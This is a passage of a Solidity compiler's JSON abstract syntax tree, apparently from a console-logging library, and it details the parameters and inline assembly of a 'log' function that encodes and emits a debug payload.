:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45659,"name":"bytes32","nodeType":"ElementaryTypeName","src":"366849:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45662,"mutability":"mutable","name":"p1","nameLocation":"366869:2:22","nodeType":"VariableDeclaration","scope":45704,"src":"366861:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45661,"name":"uint256","nodeType":"ElementaryTypeName","src":"366861:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45664,"mutability":"mutable","name":"p2","nameLocation":"366881:2:22","nodeType":"VariableDeclaration","scope":45704,"src":"366873:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45663,"name":"bytes32","nodeType":"ElementaryTypeName","src":"366873:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45666,"mutability":"mutable","name":"p3","nameLocation":"366890:2:22","nodeType":"VariableDeclaration","scope":45704,"src":"366885:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45665,"name":"bool","nodeType":"ElementaryTypeName","src":"366885:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"366848:45:22"},"returnParameters":{"id":45668,"nodeType":"ParameterList","parameters":[],"src":"366908:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45750,"nodeType":"FunctionDefinition","src":"368372:1536:22","nodes":[],"body":{"id":45749,"nodeType":"Block","src":"368447:1461:22","nodes":[],"statements":[{"assignments":[45716],"declarations":[{"constant":false,"id":45716,"mutability":"mutable","name":"m0","nameLocation":"368465:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368457:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45715,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368457:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45717,"nodeType":"VariableDeclarationStatement","src":"368457:10:22"},{"assignments":[45719],"declarations":[{"constant":false,"id":45719,"mutability":"mutable","name":"m1","nameLocation":"368485:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368477:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45718,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368477:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45720,"nodeType":"VariableDeclarationStatement","src":"368477:10:22"},{"assignments":[45722],"declarations":[{"constant":false,"id":45722,"mutability":"mutable","name":"m2","nameLocation":"368505:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368497:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45721,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368497:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45723,"nodeType":"VariableDeclarationStatement","src":"368497:10:22"},{"assignments":[45725],"declarations":[{"constant":false,"id":45725,"mutability":"mutable","name":"m3","nameLocation":"368525:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368517:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45724,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368517:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45726,"nodeType":"VariableDeclarationStatement","src":"368517:10:22"},{"assignments":[45728],"declarations":[{"constant":false,"id":45728,"mutability":"mutable","name":"m4","nameLocation":"368545:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368537:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45727,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368537:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45729,"nodeType":"VariableDeclarationStatement","src":"368537:10:22"},{"assignments":[45731],"declarations":[{"constant":false,"id":45731,"mutability":"mutable","name":"m5","nameLocation":"368565:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368557:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45730,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368557:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45732,"nodeType":"VariableDeclarationStatement","src":"368557:10:22"},{"assignments":[45734],"declarations":[{"constant":false,"id":45734,"mutability":"mutable","name":"m6","nameLocation":"368585:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368577:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45733,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368577:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45735,"nodeType":"VariableDeclarationStatement","src":"368577:10:22"},{"assignments":[45737],"declarations":[{"constant":false,"id":45737,"mutability":"mutable","name":"m7","nameLocation":"368605:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368597:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45736,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368597:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45738,"nodeType":"VariableDeclarationStatement","src":"368597:10:22"},{"assignments":[45740],"declarations":[{"constant":false,"id":45740,"mutability":"mutable","name":"m8","nameLocation":"368625:2:22","nodeType":"VariableDeclaration","scope":45749,"src":"368617:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45739,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368617:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45741,"nodeType":"VariableDeclarationStatement","src":"368617:10:22"},{"AST":{"nativeSrc":"368646:927:22","nodeType":"YulBlock","src":"368646:927:22","statements":[{"body":{"nativeSrc":"368689:313:22","nodeType":"YulBlock","src":"368689:313:22","statements":[{"nativeSrc":"368707:15:22","nodeType":"YulVariableDeclaration","src":"368707:15:22","value":{"kind":"number","nativeSrc":"368721:1:22","nodeType":"YulLiteral","src":"368721:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"368711:6:22","nodeType":"YulTypedName","src":"368711:6:22","type":""}]},{"body":{"nativeSrc":"368792:40:22","nodeType":"YulBlock","src":"368792:40:22","statements":[{"body":{"nativeSrc":"368821:9:22","nodeType":"YulBlock","src":"368821:9:22","statements":[{"nativeSrc":"368823:5:22","nodeType":"YulBreak","src":"368823:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"368809:6:22","nodeType":"YulIdentifier","src":"368809:6:22"},{"name":"w","nativeSrc":"368817:1:22","nodeType":"YulIdentifier","src":"368817:1:22"}],"functionName":{"name":"byte","nativeSrc":"368804:4:22","nodeType":"YulIdentifier","src":"368804:4:22"},"nativeSrc":"368804:15:22","nodeType":"YulFunctionCall","src":"368804:15:22"}],"functionName":{"name":"iszero","nativeSrc":"368797:6:22","nodeType":"YulIdentifier","src":"368797:6:22"},"nativeSrc":"368797:23:22","nodeType":"YulFunctionCall","src":"368797:23:22"},"nativeSrc":"368794:36:22","nodeType":"YulIf","src":"368794:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"368749:6:22","nodeType":"YulIdentifier","src":"368749:6:22"},{"kind":"number","nativeSrc":"368757:4:22","nodeType":"YulLiteral","src":"368757:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"368746:2:22","nodeType":"YulIdentifier","src":"368746:2:22"},"nativeSrc":"368746:16:22","nodeType":"YulFunctionCall","src":"368746:16:22"},"nativeSrc":"368739:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"368763:28:22","nodeType":"YulBlock","src":"368763:28:22","statements":[{"nativeSrc":"368765:24:22","nodeType":"YulAssignment","src":"368765:24:22","value":{"arguments":[{"name":"length","nativeSrc":"368779:6:22","nodeType":"YulIdentifier","src":"368779:6:22"},{"kind":"number","nativeSrc":"368787:1:22","nodeType":"YulLiteral","src":"368787:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"368775:3:22","nodeType":"YulIdentifier","src":"368775:3:22"},"nativeSrc":"368775:14:22","nodeType":"YulFunctionCall","src":"368775:14:22"},"variableNames":[{"name":"length","nativeSrc":"368765:6:22","nodeType":"YulIdentifier","src":"368765:6:22"}]}]},"pre":{"nativeSrc":"368743:2:22","nodeType":"YulBlock","src":"368743:2:22","statements":[]},"src":"368739:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"368856:3:22","nodeType":"YulIdentifier","src":"368856:3:22"},{"name":"length","nativeSrc":"368861:6:22","nodeType":"YulIdentifier","src":"368861:6:22"}],"functionName":{"name":"mstore","nativeSrc":"368849:6:22","nodeType":"YulIdentifier","src":"368849:6:22"},"nativeSrc":"368849:19:22","nodeType":"YulFunctionCall","src":"368849:19:22"},"nativeSrc":"368849:19:22","nodeType":"YulExpressionStatement","src":"368849:19:22"},{"nativeSrc":"368885:37:22","nodeType":"YulVariableDeclaration","src":"368885:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"368902:3:22","nodeType":"YulLiteral","src":"368902:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"368911:1:22","nodeType":"YulLiteral","src":"368911:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"368914:6:22","nodeType":"YulIdentifier","src":"368914:6:22"}],"functionName":{"name":"shl","nativeSrc":"368907:3:22","nodeType":"YulIdentifier","src":"368907:3:22"},"nativeSrc":"368907:14:22","nodeType":"YulFunctionCall","src":"368907:14:22"}],"functionName":{"name":"sub","nativeSrc":"368898:3:22","nodeType":"YulIdentifier","src":"368898:3:22"},"nativeSrc":"368898:24:22","nodeType":"YulFunctionCall","src":"368898:24:22"},"variables":[{"name":"shift","nativeSrc":"368889:5:22","nodeType":"YulTypedName","src":"368889:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"368950:3:22","nodeType":"YulIdentifier","src":"368950:3:22"},{"kind":"number","nativeSrc":"368955:4:22","nodeType":"YulLiteral","src":"368955:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"368946:3:22","nodeType":"YulIdentifier","src":"368946:3:22"},"nativeSrc":"368946:14:22","nodeType":"YulFunctionCall","src":"368946:14:22"},{"arguments":[{"name":"shift","nativeSrc":"368966:5:22","nodeType":"YulIdentifier","src":"368966:5:22"},{"arguments":[{"name":"shift","nativeSrc":"368977:5:22","nodeType":"YulIdentifier","src":"368977:5:22"},{"name":"w","nativeSrc":"368984:1:22","nodeType":"YulIdentifier","src":"368984:1:22"}],"functionName":{"name":"shr","nativeSrc":"368973:3:22","nodeType":"YulIdentifier","src":"368973:3:22"},"nativeSrc":"368973:13:22","nodeType":"YulFunctionCall","src":"368973:13:22"}],"functionName":{"name":"shl","nativeSrc":"368962:3:22","nodeType":"YulIdentifier","src":"368962:3:22"},"nativeSrc":"368962:25:22","nodeType":"YulFunctionCall","src":"368962:25:22"}],"functionName":{"name":"mstore","nativeSrc":"368939:6:22","nodeType":"YulIdentifier","src":"368939:6:22"},"nativeSrc":"368939:49:22","nodeType":"YulFunctionCall","src":"368939:49:22"},"nativeSrc":"368939:49:22","nodeType":"YulExpressionStatement","src":"368939:49:22"}]},"name":"writeString","nativeSrc":"368660:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"368681:3:22","nodeType":"YulTypedName","src":"368681:3:22","type":""},{"name":"w","nativeSrc":"368686:1:22","nodeType":"YulTypedName","src":"368686:1:22","type":""}],"src":"368660:342:22"},{"nativeSrc":"369015:17:22","nodeType":"YulAssignment","src":"369015:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"369027:4:22","nodeType":"YulLiteral","src":"369027:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"369021:5:22","nodeType":"YulIdentifier","src":"369021:5:22"},"nativeSrc":"369021:11:22","nodeType":"YulFunctionCall","src":"369021:11:22"},"variableNames":[{"name":"m0","nativeSrc":"369015:2:22","nodeType":"YulIdentifier","src":"369015:2:22"}]},{"nativeSrc":"369045:17:22","nodeType":"YulAssignment","src":"369045:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"369057:4:22","nodeType":"YulLiteral","src":"369057:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"369051:5:22","nodeType":"YulIdentifier","src":"369051:5:22"},"nativeSrc":"369051:11:22","nodeType":"YulFunctionCall","src":"369051:11:22"},"variableNames":[{"name":"m1","nativeSrc":"369045:2:22","nodeType":"YulIdentifier","src":"369045:2:22"}]},{"nativeSrc":"369075:17:22","nodeType":"YulAssignment","src":"369075:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"369087:4:22","nodeType":"YulLiteral","src":"369087:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"369081:5:22","nodeType":"YulIdentifier","src":"369081:5:22"},"nativeSrc":"369081:11:22","nodeType":"YulFunctionCall","src":"369081:11:22"},"variableNames":[{"name":"m2","nativeSrc":"369075:2:22","nodeType":"YulIdentifier","src":"369075:2:22"}]},{"nativeSrc":"369105:17:22","nodeType":"YulAssignment","src":"369105:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"369117:4:22","nodeType":"YulLiteral","src":"369117:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"369111:5:22","nodeType":"YulIdentifier","src":"369111:5:22"},"nativeSrc":"369111:11:22","nodeType":"YulFunctionCall","src":"369111:11:22"},"variableNames":[{"name":"m3","nativeSrc":"369105:2:22","nodeType":"YulIdentifier","src":"369105:2:22"}]},{"nativeSrc":"369135:17:22","nodeType":"YulAssignment","src":"369135:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"369147:4:22","nodeType":"YulLiteral","src":"369147:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"369141:5:22","nodeType":"YulIdentifier","src":"369141:5:22"},"nativeSrc":"369141:11:22","nodeType":"YulFunctionCall","src":"369141:11:22"},"variableNames":[{"name":"m4","nativeSrc":"369135:2:22","nodeType":"YulIdentifier","src":"369135:2:22"}]},{"nativeSrc":"369165:17:22","nodeType":"YulAssignment","src":"369165:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"369177:4:22","nodeType":"YulLiteral","src":"369177:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"369171:5:22","nodeType":"YulIdentifier","src":"369171:5:22"},"nativeSrc":"369171:11:22","nodeType":"YulFunctionCall","src":"369171:11:22"},"variableNames":[{"name":"m5","nativeSrc":"369165:2:22","nodeType":"YulIdentifier","src":"369165:2:22"}]},{"nativeSrc":"369195:17:22","nodeType":"YulAssignment","src":"369195:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"369207:4:22","nodeType":"YulLiteral","src":"369207:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"369201:5:22","nodeType":"YulIdentifier","src":"369201:5:22"},"nativeSrc":"369201:11:22","nodeType":"YulFunctionCall","src":"369201:11:22"},"variableNames":[{"name":"m6","nativeSrc":"369195:2:22","nodeType":"YulIdentifier","src":"369195:2:22"}]},{"nativeSrc":"369225:17:22","nodeType":"YulAssignment","src":"369225:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"369237:4:22","nodeType":"YulLiteral","src":"369237:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"369231:5:22","nodeType":"YulIdentifier","src":"369231:5:22"},"nativeSrc":"369231:11:22","nodeType":"YulFunctionCall","src":"369231:11:22"},"variableNames":[{"name":"m7","nativeSrc":"369225:2:22","nodeType":"YulIdentifier","src":"369225:2:22"}]},{"nativeSrc":"369255:18:22","nodeType":"YulAssignment","src":"369255:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"369267:5:22","nodeType":"YulLiteral","src":"369267:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"369261:5:22","nodeType":"YulIdentifier","src":"369261:5:22"},"nativeSrc":"369261:12:22","nodeType":"YulFunctionCall","src":"369261:12:22"},"variableNames":[{"name":"m8","nativeSrc":"369255:2:22","nodeType":"YulIdentifier","src":"369255:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369358:4:22","nodeType":"YulLiteral","src":"369358:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"369364:10:22","nodeType":"YulLiteral","src":"369364:10:22","type":"","value":"0xc67ea9d1"}],"functionName":{"name":"mstore","nativeSrc":"369351:6:22","nodeType":"YulIdentifier","src":"369351:6:22"},"nativeSrc":"369351:24:22","nodeType":"YulFunctionCall","src":"369351:24:22"},"nativeSrc":"369351:24:22","nodeType":"YulExpressionStatement","src":"369351:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369395:4:22","nodeType":"YulLiteral","src":"369395:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"369401:4:22","nodeType":"YulLiteral","src":"369401:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"369388:6:22","nodeType":"YulIdentifier","src":"369388:6:22"},"nativeSrc":"369388:18:22","nodeType":"YulFunctionCall","src":"369388:18:22"},"nativeSrc":"369388:18:22","nodeType":"YulExpressionStatement","src":"369388:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369426:4:22","nodeType":"YulLiteral","src":"369426:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"369432:2:22","nodeType":"YulIdentifier","src":"369432:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369419:6:22","nodeType":"YulIdentifier","src":"369419:6:22"},"nativeSrc":"369419:16:22","nodeType":"YulFunctionCall","src":"369419:16:22"},"nativeSrc":"369419:16:22","nodeType":"YulExpressionStatement","src":"369419:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369455:4:22","nodeType":"YulLiteral","src":"369455:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"369461:4:22","nodeType":"YulLiteral","src":"369461:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"369448:6:22","nodeType":"YulIdentifier","src":"369448:6:22"},"nativeSrc":"369448:18:22","nodeType":"YulFunctionCall","src":"369448:18:22"},"nativeSrc":"369448:18:22","nodeType":"YulExpressionStatement","src":"369448:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369486:4:22","nodeType":"YulLiteral","src":"369486:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"369492:2:22","nodeType":"YulIdentifier","src":"369492:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369479:6:22","nodeType":"YulIdentifier","src":"369479:6:22"},"nativeSrc":"369479:16:22","nodeType":"YulFunctionCall","src":"369479:16:22"},"nativeSrc":"369479:16:22","nodeType":"YulExpressionStatement","src":"369479:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369520:4:22","nodeType":"YulLiteral","src":"369520:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"369526:2:22","nodeType":"YulIdentifier","src":"369526:2:22"}],"functionName":{"name":"writeString","nativeSrc":"369508:11:22","nodeType":"YulIdentifier","src":"369508:11:22"},"nativeSrc":"369508:21:22","nodeType":"YulFunctionCall","src":"369508:21:22"},"nativeSrc":"369508:21:22","nodeType":"YulExpressionStatement","src":"369508:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369554:4:22","nodeType":"YulLiteral","src":"369554:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"369560:2:22","nodeType":"YulIdentifier","src":"369560:2:22"}],"functionName":{"name":"writeString","nativeSrc":"369542:11:22","nodeType":"YulIdentifier","src":"369542:11:22"},"nativeSrc":"369542:21:22","nodeType":"YulFunctionCall","src":"369542:21:22"},"nativeSrc":"369542:21:22","nodeType":"YulExpressionStatement","src":"369542:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45716,"isOffset":false,"isSlot":false,"src":"369015:2:22","valueSize":1},{"declaration":45719,"isOffset":false,"isSlot":false,"src":"369045:2:22","valueSize":1},{"declaration":45722,"isOffset":false,"isSlot":false,"src":"369075:2:22","valueSize":1},{"declaration":45725,"isOffset":false,"isSlot":false,"src":"369105:2:22","valueSize":1},{"declaration":45728,"isOffset":false,"isSlot":false,"src":"369135:2:22","valueSize":1},{"declaration":45731,"isOffset":false,"isSlot":false,"src":"369165:2:22","valueSize":1},{"declaration":45734,"isOffset":false,"isSlot":false,"src":"369195:2:22","valueSize":1},{"declaration":45737,"isOffset":false,"isSlot":false,"src":"369225:2:22","valueSize":1},{"declaration":45740,"isOffset":false,"isSlot":false,"src":"369255:2:22","valueSize":1},{"declaration":45706,"isOffset":false,"isSlot":false,"src":"369526:2:22","valueSize":1},{"declaration":45708,"isOffset":false,"isSlot":false,"src":"369432:2:22","valueSize":1},{"declaration":45710,"isOffset":false,"isSlot":false,"src":"369560:2:22","valueSize":1},{"declaration":45712,"isOffset":false,"isSlot":false,"src":"369492:2:22","valueSize":1}],"id":45742,"nodeType":"InlineAssembly","src":"368637:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45744,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"369598:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45745,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"369604:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45743,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"369582:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45746,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"369582:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45747,"nodeType":"ExpressionStatement","src":"369582:28:22"},{"AST":{"nativeSrc":"369629:273:22","nodeType":"YulBlock","src":"369629:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"369650:4:22","nodeType":"YulLiteral","src":"369650:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"369656:2:22","nodeType":"YulIdentifier","src":"369656:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369643:6:22","nodeType":"YulIdentifier","src":"369643:6:22"},"nativeSrc":"369643:16:22","nodeType":"YulFunctionCall","src":"369643:16:22"},"nativeSrc":"369643:16:22","nodeType":"YulExpressionStatement","src":"369643:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369679:4:22","nodeType":"YulLiteral","src":"369679:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"369685:2:22","nodeType":"YulIdentifier","src":"369685:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369672:6:22","nodeType":"YulIdentifier","src":"369672:6:22"},"nativeSrc":"369672:16:22","nodeType":"YulFunctionCall","src":"369672:16:22"},"nativeSrc":"369672:16:22","nodeType":"YulExpressionStatement","src":"369672:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369708:4:22","nodeType":"YulLiteral","src":"369708:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"369714:2:22","nodeType":"YulIdentifier","src":"369714:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369701:6:22","nodeType":"YulIdentifier","src":"369701:6:22"},"nativeSrc":"369701:16:22","nodeType":"YulFunctionCall","src":"369701:16:22"},"nativeSrc":"369701:16:22","nodeType":"YulExpressionStatement","src":"369701:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369737:4:22","nodeType":"YulLiteral","src":"369737:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"369743:2:22","nodeType":"YulIdentifier","src":"369743:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369730:6:22","nodeType":"YulIdentifier","src":"369730:6:22"},"nativeSrc":"369730:16:22","nodeType":"YulFunctionCall","src":"369730:16:22"},"nativeSrc":"369730:16:22","nodeType":"YulExpressionStatement","src":"369730:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369766:4:22","nodeType":"YulLiteral","src":"369766:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"369772:2:22","nodeType":"YulIdentifier","src":"369772:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369759:6:22","nodeType":"YulIdentifier","src":"369759:6:22"},"nativeSrc":"369759:16:22","nodeType":"YulFunctionCall","src":"369759:16:22"},"nativeSrc":"369759:16:22","nodeType":"YulExpressionStatement","src":"369759:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369795:4:22","nodeType":"YulLiteral","src":"369795:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"369801:2:22","nodeType":"YulIdentifier","src":"369801:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369788:6:22","nodeType":"YulIdentifier","src":"369788:6:22"},"nativeSrc":"369788:16:22","nodeType":"YulFunctionCall","src":"369788:16:22"},"nativeSrc":"369788:16:22","nodeType":"YulExpressionStatement","src":"369788:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369824:4:22","nodeType":"YulLiteral","src":"369824:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"369830:2:22","nodeType":"YulIdentifier","src":"369830:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369817:6:22","nodeType":"YulIdentifier","src":"369817:6:22"},"nativeSrc":"369817:16:22","nodeType":"YulFunctionCall","src":"369817:16:22"},"nativeSrc":"369817:16:22","nodeType":"YulExpressionStatement","src":"369817:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369853:4:22","nodeType":"YulLiteral","src":"369853:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"369859:2:22","nodeType":"YulIdentifier","src":"369859:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369846:6:22","nodeType":"YulIdentifier","src":"369846:6:22"},"nativeSrc":"369846:16:22","nodeType":"YulFunctionCall","src":"369846:16:22"},"nativeSrc":"369846:16:22","nodeType":"YulExpressionStatement","src":"369846:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"369882:5:22","nodeType":"YulLiteral","src":"369882:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"369889:2:22","nodeType":"YulIdentifier","src":"369889:2:22"}],"functionName":{"name":"mstore","nativeSrc":"369875:6:22","nodeType":"YulIdentifier","src":"369875:6:22"},"nativeSrc":"369875:17:22","nodeType":"YulFunctionCall","src":"369875:17:22"},"nativeSrc":"369875:17:22","nodeType":"YulExpressionStatement","src":"369875:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45716,"isOffset":false,"isSlot":false,"src":"369656:2:22","valueSize":1},{"declaration":45719,"isOffset":false,"isSlot":false,"src":"369685:2:22","valueSize":1},{"declaration":45722,"isOffset":false,"isSlot":false,"src":"369714:2:22","valueSize":1},{"declaration":45725,"isOffset":false,"isSlot":false,"src":"369743:2:22","valueSize":1},{"declaration":45728,"isOffset":false,"isSlot":false,"src":"369772:2:22","valueSize":1},{"declaration":45731,"isOffset":false,"isSlot":false,"src":"369801:2:22","valueSize":1},{"declaration":45734,"isOffset":false,"isSlot":false,"src":"369830:2:22","valueSize":1},{"declaration":45737,"isOffset":false,"isSlot":false,"src":"369859:2:22","valueSize":1},{"declaration":45740,"isOffset":false,"isSlot":false,"src":"369889:2:22","valueSize":1}],"id":45748,"nodeType":"InlineAssembly","src":"369620:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"368381:3:22","parameters":{"id":45713,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45706,"mutability":"mutable","name":"p0","nameLocation":"368393:2:22","nodeType":"VariableDeclaration","scope":45750,"src":"368385:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45705,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368385:7:22","typeDescriptions":{"typeIdentif